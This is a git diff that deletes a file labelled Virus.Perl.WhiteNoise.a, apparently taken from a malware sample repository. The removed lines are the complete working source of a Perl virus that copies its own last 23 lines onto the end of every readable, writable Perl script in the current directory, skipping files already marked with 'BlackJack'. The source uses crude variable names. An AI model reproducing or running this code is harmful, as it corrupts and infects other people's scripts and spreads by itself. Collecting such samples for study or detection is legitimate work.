diff --git a/Perl/Virus.Perl.WhiteNoise.a b/Perl/Virus.Perl.WhiteNoise.a
deleted file mode 100644
index 06a74cf0..00000000
--- a/Perl/Virus.Perl.WhiteNoise.a
+++ /dev/null
@@ -1,23 +0,0 @@
-open(File,$0);
-@Vir=<File>;
-#BlackJack
-@Virus=@Vir[-23...-1];
-close(File);
-foreach $FileName (<*>)
-{
-if ((-r $FileName) && (-w $FileName) && (-f $FileName))
-{
-open(fuck, "$FileName");
-@aFucks=<fuck>;
-close(fuck);
-if ((@aFucks[0] =~ "perl") || (@aFucks[1] =~ "perl"))
-{
-if ( not (@aFucks[-21] =~ "BlackJack"))
-{
-open(fuck, ">>$FileName");
-print fuck @Virus;
-close(fuck);
-}
-}
-}
-}